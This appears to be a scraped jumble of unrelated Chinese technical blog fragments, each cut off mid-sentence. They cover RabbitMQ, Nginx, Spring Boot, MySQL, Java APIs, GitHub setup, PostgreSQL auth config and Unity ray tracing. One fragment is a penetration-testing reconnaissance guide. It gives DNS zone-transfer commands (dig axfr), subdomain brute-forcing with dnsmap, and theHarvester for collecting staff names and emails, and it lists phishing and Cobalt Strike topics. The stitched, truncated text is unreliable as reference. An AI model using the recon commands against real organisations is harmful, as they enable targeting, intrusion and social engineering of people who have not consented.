如果rabbitMQ单点故障怎么办,这种情况倒不会造成消息丢失,这里就要提到rabbitMQ的3种安装模式,单机模式、普通集群模式、镜像集群模式,这里要保证rabbitMQ的高可用就要配合HAPROXY做镜像集群模式;
如果硬盘坏掉怎么保证消息不丢失。
(1)消息持久化 RabbitMQ 的消息默认存放在内存上面,如果不特别声明设置,消息不会持久化保存到硬盘上面的,如果节点重启或者意外crash掉,消息就会丢失。
目录 什么是NginxNginx作用负载均衡策略 什么是Nginx Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。Nginx是由伊戈尔·赛索耶夫为俄罗斯访问量第二的Rambler.ru站点(俄文:Рамблер)开发的,第一个公开版本0.1.0发布于2004年10月4日。2011年6月1日,nginx 1.0.4发布。
其特点是占有内存少,并发能力强,事实上nginx的并发能力在同类型的网页服务器中表现较好,中国大陆使用nginx网站用户有:百度、京东、新浪、网易、腾讯、淘宝等。在全球活跃的网站中有12.18%的使用比率,大约为2220万个网站。
Nginx 是一个安装非常的简单、配置文件非常简洁(还能够支持perl语法)、Bug非常少的服务。Nginx 启动特别容易,并且几乎可以做到7*24不间断运行,即使运行数个月也不需要重新启动。你还能够不间断服务的情况下进行软件版本的升级。
Nginx代码完全用C语言从头写成。官方数据测试表明能够支持高达 50,000 个并发连接数的响应。
Nginx作用 nginx的主要作用有三个方面:1、作为 Web 服务器;2、负载均衡服务器;3、邮件代理服务器等三个方面。其特点是占有内存少,并发能力强,给使用者带来了很多的便利。nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行
Http代理,反向代理:作为web服务器最常用的功能之一,尤其是反向代理。
正向代理 反向代理 负载均衡策略 Nginx提供的负载均衡策略有2种:内置策略和扩展策略。内置策略为轮询,加权轮询,Ip hash。扩展策略,就天马行空,只有你想不到的没有他做不到的。
修改nginx文件夹中conf下面的nginx.conf配置文件
1、实操举例
轮询 #负载均衡 轮询 upstream lixuanhong{ server 127.0.0.1:8080 ; server 127.0.0.1:8081 ; server 127.0.0.1:8082 ; } location / { root html; index index.html index.htm; proxy_pass http://lixuanhong; #反向代理 } 加权轮询 #负载均衡 权重 upstream lixuanhong{ server 127.0.0.1:8080 weight=1; server 127.0.0.1:8081 weight=2; server 127.0.0.1:8082 weight=3; } location / { root html; index index.
API的使用 REST API允许通过API端点访问 content-types 。当一个内容类型被创建时,Strapi会自动创建API端点。在查询API端点时,可以使用API参数来细化结果。可以理解为,对于每一个 content-types ,系统默认生成以下API。
Method
URL
描述
GET
/api/:pluralApiId
获取一个实体的列表
POST
/api/:pluralApiId
创建一个实体
GET
/api/:pluralApiId/:documentId
获取一个指定ID的实体
PUT
/api/:pluralApiId/:documentId
更新实体
DELETE
/api/:pluralApiId/:documentId
删除实体
举例如下:
Method
URL
描述
GET
/api/restaurants
获取餐厅列表
POST
/api/restaurants
创建餐厅
GET
/api/restaurants/:id
获取特定餐厅
DELETE
/api/restaurants/:id
删除餐厅
PUT
/api/restaurants/:id
更新餐厅
请求的Requests: 请求将返回一个响应对象,该对象通常包括以下key。
data:响应数据本身,可以是。
一个单一的实体,包含以下key。 id :numberattributes: 响应实体,包含实体内的所有keymeta(object):error(object,可选):关于请求所抛出的任何错误的信息。 API参数详述 以下参数可用于API查询,包括过滤、排序、分页等等
sort :排序操作,举例如下: const qs = require('qs'); const query = qs.stringify({ sort: ['title', 'slug'], }, { encodeValuesOnly: true, // prettify URL }); await request(`/api/articles?
在敲 { 后敲一个 回车 就会自动补全 } 了。
目录 一、springboot是什么?二、spring.factories文件的意义何在三、springboot自动装配的流程 一、springboot是什么? springboot本质上就是spring,不过他并不像spring那样需要繁琐的配置,简化了开发流程,但是他并不提供spring的核心功能,他只是spring的一个脚手架。
通过引入依赖(Starter),从spring.factories文件中获取到对应的需要进行自动装配的类,并生成相应的Bean对象,然后将它们交给spring容器来帮我们进行管理,这就是springboot的自动装配。
二、spring.factories文件的意义何在 在我们主程序入口,关于@SpringBootApplication这个注解:
@Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) @Documented @Inherited @SpringBootConfiguration @EnableAutoConfiguration @ComponentScan(excludeFilters = { @Filter(type = FilterType.CUSTOM, classes = TypeExcludeFilter.class), @Filter(type = FilterType.CUSTOM, classes = AutoConfigurationExcludeFilter.class) }) public @interface SpringBootApplication { @ComponentScan注解指扫描@SpringBootApplication注解的入口程序类所在的basepackage下的所有带有@Component注解的bean,从而注入到容器当中。
但是如果是加入maven坐标依赖的jar包,就是项目根目录以外的Bean。@EnableAutoConfiguration注解来注册项目包外的bean。而spring.factories文件,则是用来记录项目包外需要注册的bean类名。
三、springboot自动装配的流程 springboot启动的时候会创建一个**Application对象,在对象的构造方法里面会进行一些参数的初始化工作,最主要的是判断当前应用程序的类型以及设置初始化器以及监听器,并在这个过程中会加载spring.factories文件,当某个AutoConfiguration类满足其注解@Conditional指定的生效条(Starters提供的依赖、配置或Spring容器中是否存在某个Bean等)时,实例化该AutoConfiguration类中定义的Bean,并注入Spring容器,就可以完成依赖框架的自动配置。
#创建数据库 create database 库名; #数据库不存在创建,存在不创建 create database is not 库名; #创键数据库并指定字符集 create database 库名 character set 字符集; #查看所有数据库 show database; #查看某个数据库定义信息 show create database db3; #修改数据库 alter database db3 character set utf8; #删除数据库 drop database 数据库名; #查看正在使用数据库 select database(); # 使用/切换数据库 use 数据库名; # 创建表 create table 表名(字段1 字段类型1, 字段2 字段类型2); # 查看表 show tables; # 查看表结构 desc 表名; #查看创建表sql show create table 表名; #快速创建一个表结构相同的表 create table 表名 like 旧表名; #删除表 drop table 表名; # 判断是否存在删除表 drop table if exists 表名; #添加表列结构 alter table 表名 add 列名 类型; #修改列类型 alter table 表名 modify 列名 新类型; #修改列名 alter table 表名 change 旧列名 新列名 类型; #删除列 alter table 表名 drop 列名; #修改表名 rename table 表名 to 新表名; #修改字符集 alter table 表名 character set 字符集; #插入记录 insert into 表名(字段) values (值); insert into 表名 values (值) insert into 表名(部分字段) values (部分值); #更新表 update 表名 set 字段名=值; update 表名 set 字段名=值 where 字段名=值; #删除表 delete from 表名 where 字段名=值; #删除表 truncate table 表名; 删除表结构,然后在创建一张表; # 查询表 select 字段名 as 别名 ,字段名2 as 别名 from 表名 as 别名 where 条件; # 清除重复值 select distinct 字段名 from 表名; #某列数据和固定值 select 列表+固定值 from 表名; #数据和其他数据 select 列表+列表 from 表名; # 范围 select * from 表名 where 字段名 between 79 and 90 #like select * from 表名 where 字段 like'%%' # in select * from 表名 where 字段 in (); # 排序 select * from 表名 where 字段 dsec/asc , 字段 dsec/asc; #聚合函数 max最大 min最小 avg平均 count统计 sum求和 ifnull(列名,默认值) 如果列不为空返回值, 如果为null 返回默认值 #分组 select 字段名 from 表名 group by 分组字段 having 条件; # limit select * from 表名 where 子句 limit 子句; #备份 mysqldump -u用户名 -p密码 数据库 表名 > 文件路径/文件名; #还原 source 文件路径/文件名; #约束 主键 primary key 唯一 unique 非空 not null 外键 foreign key 检查约束 check 自增 auto_increment 默认值 default #创建约束增加外键 constraint 外键约束名称 foreign key(外键字段名) references 主表名(主键字段名) #已有表增加外键 alter table constraint 从表 add 外键约束名 foreign key 外键名 references 主表(主表字段名); #删除外键 alter table 从表 drop foreign key 外键名称; # 级联操作 on update cascade 级联更新 on delete cascade 级联删除
一、10G EPON对称光模块 工作模式:上行突发接收、下行连续发射。 组成:单纤三向组件(2个发射器件、一个接收器件)、发射电路、接收电路、控制电路。其中,发射器件有波长为1577nm的10.3125G的电吸收激光调制器、波长为1490nm的1.25G的分布反馈激光器。接收器件有雪崩二极管(APD)、兼容10G\1G的跨阻放大器(TIA)。 发送波长:1577nm\1490nm;接收波长:1270nm\1310nm。 二、接收原理与发送原理 1.接收原理 接收采用时分多址,在同一时间下,只发一种速率的光信号。接收结构图如下: 2.发射原理 组成:1G激光器驱动电路、10G激光器驱动电路、激光器、TEC控制、EAM控制。发射结构图如下: 3.测试指标 根据IEEE 802.3av协议的要求,1.25Gb/s的发射光功率在2~7dbm,突发接收灵敏度在误码率10^(-12)的条件下必须下<-29.78dbm;而10.3125 Gb/s发射光功率在2~5dbm,且突发接收灵敏度要在误码率10^(-3)条件下小于-28dbm。具体可以从发射眼图、波长、灵敏度来评估光模块的性能。1.25G接收采用7位随机码测试,10G接收采用31位随机码测试。10G发射眼图和光谱如下:
word导入文献出现这个,WPS的锅,找到用WPS打开之前的备份文档,目前没发现其他办法
类的各种常用方法 字符串String类中的常用方法 方法名返回值作用length()int得到字符串长度toLowerCase()String转换为小写toUpperCase()String转换为大写trimString去除字符串首尾全部空格isEmpty()boolean判断字符串长度是否为0getBytes()byte[]转换为字节数组toCharArray()char[]转换为字符数组equalsIgnoreCase(String str)boolean忽略大小写比较字符串是否相等equals(String str)boolean判断两个字符串是否相等charAt(int index)char得到某个索引上的字符indexOf(String str)int得到某个字符串第一次出现的索引,不存在返回-1lastIndexOf(String str)int得到某个字符串最后一次出现的索引,不存在返回-1contains(String str)boolean判断是否存在某个字符串startsWith(String str)boolean判断是否以某个字符串开头endsWith(String str)boolean判断是否以某个字符串结尾concat(String str)String将指定字符串评级到原字符串末尾substring(int index)String从索引index开始截取字符串末尾substring(int begin,int end)String截取[begin,end)范围内的字符串split(Sting regex)String[]根据字符串或者正则表达式切分原字符串replace(String oldStr,String newStr)String将原字符串的oldStr替换为newStrString.valueOf(参数)String将参数转换为字符串,参数可以是任何数据,通常用于原始类型转换为字符串String.format(String式,Object…obj)String根据指定格式转换参数。常用与将浮点数据保留指定小数位数。\n如String.format(“%4.2f”,2.345)表示将 2.345保留2位小数,整体占4位,输出为字符串格式。 如果实际数字总位数大于4,原样输出,如果实际数字 总位数小于4,会在最前补充空格。 可变字符串 StringBuilder 用于表示可变字符串的一个类,是非线程安全的,在单线程环境下使用,效率更高。
StringBuffer 用于表示可变字符串的一个类,是线程安全的,在多线程环境下使用。
StringBuilder和StringBuffer中的方法都一致,只不过StringBuffer中的方法使用了synchronized关键字修饰,表示是一个同步方法,在多线程环境下不会出现问题。
常用方法 常用方法作用append(Object obj)将任意数据添加带原可变字符串的末尾delete(int start,int end)删除[start,end)范围内的字符deleteCharAt(int index)删除index索引上的字符insert(int index,Object obj)将obj添加到index上repalce(int start,int end,String str)将[start,end)范围内的字符替换为strreverse()反转字符串 注意 String类中的所有方法调用后,都会创建一个新的String对象,即原本的String字符串不会改变
StringBuilder类中的所有方法都是在操作同一个字符串对象,每次调用方法,都会让原字符串发生变化
StringBuilder类中没有重写equals方法,所以判断两个可变字符串对象是否相同时,如果调用equals方法,实际调用的是Object类中未重写的方法,即==判断。所以判断可变字符串是否相同时,需要将其转换为String对象再调用equals方法。
任意类型对象转换为String String.valueOf(Object obj)
toString()方法
拼接空字符串
可变字符串相关面试题 比较String、StringBuilder和StringBuffer的区别 相同点: 这三个类都可以表示字符串。都提供了一些操作字符串的方法。
这三个类中有相同的方法,如charAt(),indexOf()等。
这三个类都是被final修饰的类,不能被继承
不同点: String定义的字符串是一个常量。可变字符串定义的字符串是一个变量。
String类中的方法调用后,不会改变原本字符串的值。可变字符串中的方法调用后,会改变原本字符串的值
StringBuilder是非线程安全的可变字符串类,StringBuffer是线程安全的可变字符串类,其中的方法被synchronized修饰。
System类 常用方法 常用方法与属性System.ou获取标准输出流对象,用于打印信息System.in获取标准输入流对象,用于获取输入的信息System.err获取错误输出流对象,用于打印异常信息System.exit(int statues)终止虚拟机运行,参数0表示正常终止System.currentTimeMills()获取从1970/1/1 0:0:0至今经过了多少毫秒。中国是UTC(+8),所以实际是从1970/1/1 8:0:0至今经过了多少毫秒。返回值为long类型。通常称为时间戳。System.arraycopy(原数组,原数组的起始位置,目标数组,目标数组的起始位置,要复制的元素数量)将原数组中指定数量的元素复制到新数组中 Runtime类 这个类不是一个抽象类,但不能创建对象,因为它的构造方法是私有的。
这个类提供了一个静态方法getRuntime(),通过该方法,可以获取一个Runtime类的对象。
这种方式可以保证该类只能创建一个对象,是Java中的一种设计模式:单例模式。
public class Runtime{ //定义了一个私有的静态成员,创建一个当前类的对象 private static Runtime currentRuntime = new Runtime(); //将构造方法私有,无法在外创建对象 private Runtime(); //定义了一个公开的静态方法,用于获取创建的唯一的当前类的对象 public static Runtime getRuntime(){ return currentRuntime; } } Date类 常用方法 常用方法作用getTime()得到Date对应对象的毫秒数after(Date when)判断参数是否是调用日期之后before(Date when)判断参数是否再调用日期之前 SimpleDateFormat类 日期模板 特殊字符作用yyyy年MM月dd日hh12小时制HH24小时制mm分ss秒E星期yyyy/MM/dd HH:mm:ss E2023/03/09 14:05:16 星期四 常用方法 常用方法返回值作用format(Date date)String将Date对象按日期模板转换为字符串parse(String str)Date将满足日期模板的字符串转换为Date对象 Calendar类 常用方法 get(int field)根据日历字段获取对应的值getMaximum(int field)获取指定日历字段的最大值,如日期最大值为31getActualMaximum(int field)获取指定日历字段的实际最大值,如11月的日期最大为30getTime()将Calendar对象转换为Date对象set(int field,int value)将指定的日历字段设置为指定值set(int year,int month,int date)同时设置日历的年月日setTime(Date date)将Date对象作为参数设置日历的信息 使用Calendar类实现万年历 package com.
minio windows 运行没反应 请从官方网站下载minio.exe,而不是从minio中文网站下载
官方说中文网站是盗版网站看这里,非官方提供的包
官方minio.exe下载链接
GitHub Actions工作流搭建 GitHub Actions的官方概述如下:
GitHub Actions 是一种持续集成和持续交付 (CI/CD) 平台,可用于自动执行生成、测试和部署管道。
您可以创建工作流程来构建和测试存储库的每个拉取请求,或将合并的拉取请求部署到生产环境。
GitHub Actions 不仅仅是 DevOps,还允许您在存储库中发生其他事件时运行工作流程。
例如,您可以运行工作流程,以便在有人在您的存储库中创建新问题时自动添加相应的标签。
GitHub 提供 Linux、Windows 和 macOS
虚拟机来运行工作流程,或者您可以在自己的数据中心或云基础架构中托管自己的自托管运行器。
搭建GitHub首先需要有GitHub仓库
GitHub仓库搭建 1.新建github仓库
2.git连接github远程仓库
分为两种方式,https和ssh
https:方式需要先生成token在每次连接时需要输入用户密码仓库名称比较麻烦
git remote set-url origin https://<your_token>@github.com/<USERNAME>/<REPO>.git ssh的方式
在某文件夹下git bash,填写用户名和邮箱作为标识
git config --global user.name "XXXX" 用户名标识 ---- 实际也可以填写您的github仓库的名称 git config --global user.email "xxxx@xxx.com" 邮箱标识 -------可以填写github仓库的邮箱 ssh配置密钥
输入命令后一直回车即可
ssh-keygen -t rsa //--创建秘钥 在生成的.ssh目录里发现两个文件,私钥和公钥
打开公钥复制内容
github配置ssh密钥
setting
New SSH Key
设置title填入公钥key
创建成功,还会收到一份提示邮件
连接远程仓库
建立仓库
git init 创建远程remote
NavMenu导航菜单在vertical情况下没办法实现鼠标移入元素展示菜单,移出元素关闭菜单功能,故而需要额外写代码实现。
html代码实现:
<el-menu default-active="1" class="el-menu-vertical-demo" mode="vertical" id="el-menu-demo" ref="menu"> <el-submenu index="1"> <template slot="title"> <i class="el-icon-location"></i> <span>导航一</span> </template> <el-menu-item-group> <template slot="title">分组一</template> <el-menu-item index="1-1">选项1</el-menu-item> <el-menu-item index="1-2">选项2</el-menu-item> </el-menu-item-group> <el-menu-item-group title="分组2"> <el-menu-item index="1-3">选项3</el-menu-item> </el-menu-item-group> <el-submenu index="1-4"> <template slot="title">选项4</template> <el-menu-item index="1-4-1">选项1</el-menu-item> </el-submenu> </el-submenu> </el-menu> 利用鼠标移入与移出事件来实现功能
js代码如下:
mouseLeave(){ //实现工具栏鼠标滑过的展示与关闭 var Vuethis=this; var elMenu=document.getElementById("el-menu-demo"); elMenu.onmouseleave=()=>{ Vuethis.$refs.menu.close("1"); }; elMenu.onmouseover=()=>{ Vuethis.$refs.menu.open("1"); }; }
1.LocalDate(年月日)常用方法 1.1.1 当月最大时间 不包含时分秒 LocalDate lastday = date.with(TemporalAdjusters.lastDayOfMonth()); 1.1.2 当月最小时间 不包含时分秒 LocalDate firstday = date.with(TemporalAdjusters.firstDayOfMonth()); now
根据当前时间创建LocalDate对象
of
根据指定年月日创建LocalDate对象
getYear
获得年份
getMonthValue
获得月份
getMonth
获得月份枚举值
getDayOfMonth
获得月份天数(1-31)
getDayOfWeek
获得星期几
getDayOfYear
获得年份中的第几天(1-366)
lengthOfYear
获得当年总天数
lengthOfMonth
获得当月总天数
toEpochDay
与时间纪元(1970年1月1日)相差的天数
plusDays
加天
plusWeeks
加周
plusMonths
加月
plusYears
加年
minusDays
减年
minusWeeks
减周
minusMonths
减月
minusYears
减年
withYear
替换年份
withYear
替换年份
withDayOfMonth
替换日期
withDayOfYear
替换日期
isBefore
是否日期在之前
isAfter
是否日期在之后
isEqual
是否是当前日期
isleapYear
是否是闰年
文章目录 一、Nodejs/Vue安装及环境配置1、Node.js的下载和配置2、环境配置 二、安装VUE1、按指令安装:2、创建VUE-CLI项目3、使用VSCODE 打开对应的工程 三、安装ROUTE1、安装route2、配置route5、如何使用route的指令进行转跳vroute的三种转跳方式 补充知识点:关于route转跳的地址6、使用route实现类似iframe布局的效果 四、使用VUE进行前后端交互(AXIOS)一、什么是axios?和ajax对比优缺点补充知识点2:同源策略1、什么是同源策略? —— 保证浏览器的安全性2、如何解决这个问题?————跨域请求 二、基本操作 五、使用vue脚手架搭建代理,实现前后端分离 一、Nodejs/Vue安装及环境配置 参考连接http://t.csdn.cn/cbchI
1、Node.js的下载和配置 下载地址:https://nodejs.org/en/download/,选择对应的版本下载安装位置可选,这里是默认的C盘安装,路径是C:\Program Files\nodejs 2、环境配置 分别在node里安装目录下创建node_cache和node_global两个文件夹。
打开CMD,输入如下,安装路径注意替换
npm config set prefix "C:\Program Files\nodejs\node_global" npm config set cache "C:\Program Files\nodejs\node_cache" 配置环境变量——打开系统高级设置-环境变量,添加如下变量
新建 系统变量 ,变量名 NODE_PATH ,变量值 安装路径+\node_modules如
修改 用户变量的path,进行如下替换
教程的图如下
二、安装VUE 速度慢,可以配置淘宝的镜像(老师说会有bug)
配置淘宝镜像源 npm install -g cnpm --registry=https://registry.npm.taobao.org
直接修改npm的默认配置 npm config set registry https:*//registry.npm.taobao.org* 另外如果需要重装可以用到以下指令:
npm uninstall @vue/cli -g #卸载 1、按指令安装: vue-cli
cnpm install --global vue-cli // vue-cli全局安装 vue -V //查看版本,注意V 是大写 npm
关于pg_hba.conf文件 pg_hba.conf文件负责客户端登录的认证配置。
type
local记录是本地登录认证规则,host记录是远程主机登录认证规则。database
认证记录针对的数据库,all代表全部user
认证记录针对的登录用户,all代表全部address
认证记录针对的地址,0/0代表全部主机method
trust:不需要输入密码,
password:密码明文传输,
md5:密码使用md5加密,
reject:表示拒绝,
ident:用系统用户认证(todo) 初始配置 初始情况下,pg_hba.conf不允许远程登录
[postgres@pg pgdata]$ vim pg_hba.conf # TYPE DATABASE USER ADDRESS METHOD # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust # Allow replication connections from localhost, by a user with the # replication privilege. local replication all trust host replication all 127.
文章目录 一、 mysql官网下载地址:(https://dev.mysql.com/downloads/mysql/).二、创建配置初始化的my.ini文件三、配置mysql四、安装启动mysql修改mysql的密码: 一、 mysql官网下载地址:(https://dev.mysql.com/downloads/mysql/). 这里我选择的是在Windows系统下安装。
备注:点击下载后会让你登录,有账号就登录,没得就跟着提示注册一个。
下载完成后解压文件
解压结果如下:
二、创建配置初始化的my.ini文件 在刚刚解压的文件目录下创建my.ini文件(创建一个文本文档,讲后缀名改为.ini)
my.ini文件中完成如下初始化配置:
[mysqld] # 设置3306端口 port=3306 # 设置mysql的安装目录 basedir="D:\\Program Files\\work\\tool\\MySQL\\mysql-8.0.32-winx64" # 设置mysql数据库的数据的存放目录 datadir="D:\\Program Files\\work\\tool\\MySQL\\mysql-8.0.32-winx64\\data" # 允许最大连接数 max_connections=200 # 允许连接失败的次数。 max_connect_errors=10 # 服务端使用的字符集默认为utf8mb4 character-set-server=utf8mb4 # 创建新表时将使用的默认存储引擎 default-storage-engine=INNODB # 默认使用“mysql_native_password”插件认证 #mysql_native_password default_authentication_plugin=mysql_native_password [mysql] # 设置mysql客户端默认字符集 default-character-set=utf8mb4 [client] # 设置mysql客户端连接服务端时默认使用的端口 port=3306 default-character-set=utf8mb4 注意:
三、配置mysql 在电脑右下角输入栏输入cmd,以管理员身份运行打开命令行窗口
打开后进入刚刚解压文件夹的bin目录:
在命令行中输入命令:mysqld --initialize --console
如果出现下列错误,这里有方法:https://blog.csdn.net/littlehaes/article/details/104127787
四、安装启动mysql 安装mysql命令:mysqld --install
启动mysql命令:net start mysql
到这里mysql的安装就完成了
修改mysql的密码: 首先要连接数据库
输入命令:mysql -u root -p
今天遇到了一个问题,如何把前端传过来的字符串数据,转换成list集合类型;
下面给大家举个例子:
String processNodes = “#3#4#5”
首先呢,我们先根据#来对字符串进行分割,并且分割成一个String类型的数组:
String[] split = processNodes.trim().split("#");
然后将数组转换成对应的集合类型:
List<String> asList = Arrays.asList(split);
这个时候我们就拿到了想要的集合,但是我在遍历的时候发现,集合里面会有空字符串,这会影响我的下一步操作,所以我们还要过滤一下空字符串和null;
ArrayList newList = new ArrayList<>(asList);
while (newList.remove(null));
while (newList.remove(""));
最后这个nesList就是我们想要拿到的集合。
但是总感觉有点笨笨的,不知道还有更简便的方法吗,欢迎大家分享。
项目背景 (废话比较多,不重要可以略过)
这个项目是去年(2022)十月份做的计算机图形学课程的大作业,因为选题自由(但最后汇报来看,感觉学校里研究图形学的同学确实很少,而且大部分同学都是做的东西都是偏CV、人工智能方向),于是想尝试在Unity URP中实现一个全局光照算法(可以说是很久之前就埋下了伏笔)。
因为近些年硬件提升后光线追踪也越来越多地被提及和应用,当时也觉得光追十分简单粗暴,于是选择了实现光线追踪算法,选择使用ComputeShader实现则是因为我的设备本身并不支持硬件光追,而且确实能避免更多的必要硬件要求。不过之后也了解到实现软光追可以说是相当适合新手入门的一个方向了,而当时的我完全低估了这种简单粗暴所需要付出的代价,在我后续了解了UE5 Lumen软光追的大致实现后更觉得当时的自己太天真了…
因为那时研一上选的课比较多,作业也多,做这个项目的时间也比较紧迫(两年制研究生急着修完课,感觉快要毕业了),所以当时从深入了解光追、了解路径追踪实现、了解ComputeShader到最后做到在Unity中实现三角面求交、BRDF材质、简单时空降噪、动态构建BVH大概断断续续花了两三周的时间,主要部分都是在十一国庆假期的时候实现的,后边进行了一些缝缝补补。因为代码一直没有整理比较乱,再加上之后也没做过其他相关的内容,其实自己都已经忘得差不多了,而且记得没错的话当时实现上也有一些细节上的错误,所以这里仅凭记忆简单讲一下自己的实现思路、展示一下实现效果。(主要还是确实时间过得比较久了,东西多了就懒得回顾整理了 )
路径追踪基本过程 先介绍一下项目中路径追踪执行的基本过程,方便后续内容介绍:
1. 第一条射线,从屏幕像素发射一条射线与场景求交(这里可以在像素内进行抖动采样实现抗锯齿)
2. 第二条射线,从1的交点处对光源进行采样,对1处进行直接光着色(项目中只考虑了传统的没有体积的光源,也就是在游戏引擎中常用的光源模型,没有考虑面光源)
3. 第三条射线,从1的交点处随机向外(项目中为BRDF模型,也就是上半球,这里也可以不是随机而是根据BRDF进行重要性采样)发射一条射线,如果与物体相交则继续,否则采样环境光对1处进行间接光着色。
4. 第四条射线,从3的交点处对光源进行采样,计算3处的直接光照用于对1处进行间接光着色。
当然,项目中支持可调节的单像素采样数(SPP)以及光线弹射次数,但实现基本的全局光效果所需的就是上边这四条。
项目中实现的光追渲染结果、效率及可调节的参数,配置笔记本1050ti 在Unity中的执行过程 一开始计划是将路径追踪作为一个后处理效果叠加在渲染画面上,仅用于补充间接光照。也就是直接光照仍然采用光栅化管线,间接光照采用光追,可以节约两次光线求交开销(即上边提到的1、2两条射线),于是采用了通过RenderFeature在特定位置插入RenderPass实现叠加间接光效果,也使得其能够支持其他后处理效果。
但因为不了解怎么在Unity中获取光栅化管线相应的渲染信息,刚开始就直接跑了光栅化管线+1、3、4三条射线先把主要功能做出来,后来感觉干脆直接把光栅化渲染的结果覆盖了,完全由光追进行渲染(所以现在的情况是白跑一趟光栅化,原本动力十足准备假期继续完善这个项目,包括试一试自定义渲染管线,后来因为发现效率太低、需要优化的太多就还是做自己的游戏去了,所以这个项目也烂尾到现在)。
因此整体过程的核心调用都在RenderPass的Execute函数中,简单来说就是在CPU端将所有所需数据(也就是场景信息、RenderTexture、渲染参数等)整理好后交给GPU(ComputeShader),主要的渲染逻辑自然都是在ComputeShader中实现,执行ComputeShader并CPU端使用CommandBuffer存储计算结果的Blit命令,最终在渲染管线对应位置执行。
public override void Execute(ScriptableRenderContext context, ref RenderingData renderingData) { InitShaderResources(); RayTracingVolume rayTracingVolume = volume.GetComponent<RayTracingVolume>(); if (rayTracingVolume == null || !rayTracingVolume.IsActive()) return; InitRenderTexture(renderingData.cameraData.camera); InitTracingData(); InitComputeBuffer(); int threadGroupsX = Mathf.CeilToInt(Screen.width / 8.0f); int threadGroupsY = Mathf.CeilToInt(Screen.height / 8.0f); SetAndDispatchRayTracingShader(renderingData.cameraData.camera, rayTracingVolume, threadGroupsX, threadGroupsY); SetAndDispatchDenoiseShader(rayTracingVolume, threadGroupsX, threadGroupsY); CommandBuffer cmd = CommandBufferPool.
问题复现 输入locale命令,查看当前设置,显示为: 修改/etc/sysconfig/i18n文件为如下内容,如果没有则新建一个: LANG=zh_CN.utf8 LC_CTYPE="zh_CN.utf8" LC_NUMERIC="zh_CN.utf8" LC_TIME="zh_CN.utf8" LC_COLLATE="zh_CN.utf8" LC_MONETARY="zh_CN.utf8" LC_MESSAGES="zh_CN.utf8" LC_PAPER="zh_CN.utf8" LC_NAME="zh_CN.utf8" LC_ADDRESS="zh_CN.utf8" LC_TELEPHONE="zh_CN.utf8" LC_MEASUREMENT="zh_CN.utf8" LC_IDENTIFICATION="zh_CN.utf8" LC_ALL=zh_CN.utf8 执行source /etc/sysconfig/i18n使修改生效。 再次执行locale命令可查看修改已生效: 查看脚本发现脚本乱码问题解决了
文章目录 信息收集与社工技巧信息收集内容信息收集-域名信息收集信息收集-子域名收集信息收集-C段扫描信息收集-Web目录扫描信息收集-指纹识别Google Hacking网络空间搜索引擎情报分析社工库Cobalt Strike工具office钓鱼钓鱼网站克隆和钓鱼邮件 信息收集总览总结在线网站工具 信息收集与社工技巧 信息收集内容 服务器信息(端口、服务、真实IP)网站信息(网站架构(操作系统、中间件、数据库、编程语言)、指纹信息、WAF、敏感目录、敏感文件、源码泄露、旁站查询、C段查询)域名信息(whois、备案信息、子域名)人员信息(姓名、职务、生日、联系电话、邮件地址) 在线网站:https://tool.chinaz.com/
信息收集-域名信息收集 whois
whois:查询域名的IP以及所有者等信息的传输协议。用来查询域名是否被注册,以及注册域名的详细信息的数据库(如域名所有人,域名注册商)
查询方法:
kali:命令行:whois www.baidu.com
在线查询网站:
https://whois.chinaz.com/whois.iana.orgwww.arin.netwho.iscentralops.net/co/www.17ce.com 备案信息
备案信息:在中国大陆进行网站搭建,域名解析都需要对网站服务器进行备案,一般在网站最下方。可以根据备案信息查询网站管理员信息,包括旁站、子域名信息等。
例如:湘ICP备xxx
查询方法:
http://icp.chinaz.com/http://www.beianbeian.com/ 信息收集-子域名收集 子域名收集原因
子域名枚举可以在测试范围内发现更多的域或子域,这将增大漏洞发现几率。有些隐藏的、被忽略的子域上运行的应用程序可能帮助我们发现重大漏洞。在同一个组织的不同域或应用程序中往往存在相同的漏洞。 搜索引擎
原理:通过搜索引擎获取已经爬取的子域名
语法:Site:baidu.com
域传送
DNS区域传送:一台备用服务器使用来自主服务器的数据刷新自己的域数据库。防止主服务器故障影响域名的解析。
DNS区域传送操作只在网络中真的由备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有client发出请求,就会向对方提供一个zone数据库的详细信息,所以说允许不受信任的因特网用户执行DNS区域传送。
危害:黑客可以快速的判定出某个特定域的所有主机,收集域信息,选择攻击目标,找出未使用的IP地址,黑客可以绕过基于网络的访问控制。
收集方法:
dig @<DNS服务器ip地址> axfr <被爆破的域名>nslookup 进入交互 -> server dns <被爆破的域名> -> ls <被爆破的域名>fierce -dns <被爆破的域名> 在线网站
https://tool.chinaz.com/subdomain/www.virustotal.comdnsdumpster.com 爆破
原理:通过字典匹配枚举存在的域名
kali:
dnsmap baidu.com -w wordlist
其中wordlist为字典,里面写一些前缀即可,如www,college等;有结果的就会返回IP地址。 Windows:
fuzzDomain子域名挖掘机 ssl证书查询
https://crt.sh/:直接输入域名或ip即可,查询该站点中所有申请了ssl证书的网站 js文件发现子域名
工具
theharvester
可以获取子域名,邮箱,主机,员工姓名,开放端口,banner 常用语法:theharverster -d baidu.com -b all
一、实验名称 TCP/UDP程序开发
二、实验目的 开发TCP/UDP协议应用程序,掌握网络应用程序的工作原理。通过该实验,深入理解UDP和TCP协议的异同点,了解网络协议的工作过程,学会网络通信编程的基本方法,能够编制网络应用程序。
三、实验内容及要求 (1)了解和掌握“基于UDP-面向无连接的应用程序/基于TCP-面向连接的应用程序”的运行机制和编程方法;
(2)编写一个网络通信应用程序:聊天程序;
(3)使用任意网络编程语言(Java、C、VB、Delphi、Python等)编写基于TCP或UDP协议的网络应用程序。
(4)总结实验过程:方案、编程、调试、结果、分析、结论。
四、实验设备 硬件要求
计算机、Internet网软件要求
Windows操作系统、Microsoft Visual Studio2019. 五、实验步骤及记录 1. 方案 1.1 Win Sock编程 Win Sock编程是一种网络编程接口,实际上是作为TCP/IP协议的一种封装。可以通过调用WinSock的接口函数来调用TCP/IP的各种功能。
WinSock 编程简单流程:WinSock编程分为服务器端和客户端两部分。
1.2 服务器端编程步骤 2.1 使用WSAStartup()函数检查系统协议栈安装情况;
2.2 使用socket()函数创建服务器端通信套接字;
